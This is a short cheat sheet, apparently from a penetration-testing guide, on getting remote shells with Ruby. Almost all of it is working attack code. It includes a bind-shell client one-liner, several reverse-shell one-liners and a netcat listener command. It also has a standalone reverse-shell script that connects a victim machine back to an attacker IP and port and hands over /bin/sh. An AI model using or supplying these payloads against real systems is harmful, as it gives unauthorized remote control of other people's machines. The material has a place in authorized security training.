Remote Shell

Remote shell means s forward or reverse connection to the target system command-line(shell).
Note: For windows systems, replace the "/bin/sh" to "cmd.exe"
Connect to Bind shell
from terminal
ruby -rsocket -e's=TCPSocket.new("127.0.0.1",4444);loop{gets.chomp!;(s.close;exit!) if $_=="exit";(s.puts$_);puts s.recv_nonblock(0xFFFF) rescue nil}'
since 192.168.0.15 is the victim IP
Reverse shell
Attacker is listening on port 4444 nc -lvp 4444. Now on victim machine run
ruby -rsocket -e's=TCPSocket.open("192.168.0.13",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",s,s,s)'
if you don't want to rely on /bin/sh
ruby -rsocket -e'exit if fork;c=TCPSocket.new("192.168.0.13",4444);loop{c.gets.chomp!;($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'
if you don't want to rely on cmd.exe
ruby -rsocket -e 'c=TCPSocket.new("192.168.0.13","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
since 192.168.0.13 is the attacker IP
If you want it more flexible script file
#!/usr/bin/env ruby
# KING SABRI | @KINGSABRI
require 'socket'
if ARGV[0].nil? || ARGV[1].nil?
    puts "ruby #{__FILE__}.rb [HACKER_IP HACKER_PORT]\n\n"
    exit
end
ip, port = ARGV
s = TCPSocket.open(ip,port).to_i
exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",s,s,s)
Bind and Reverse shell
This is an awesome implementation for a standalone bind and reverse shells scripts written by [Hood3dRob1n][3] on GitHub . The bind shell requires authentication while reverse is not.
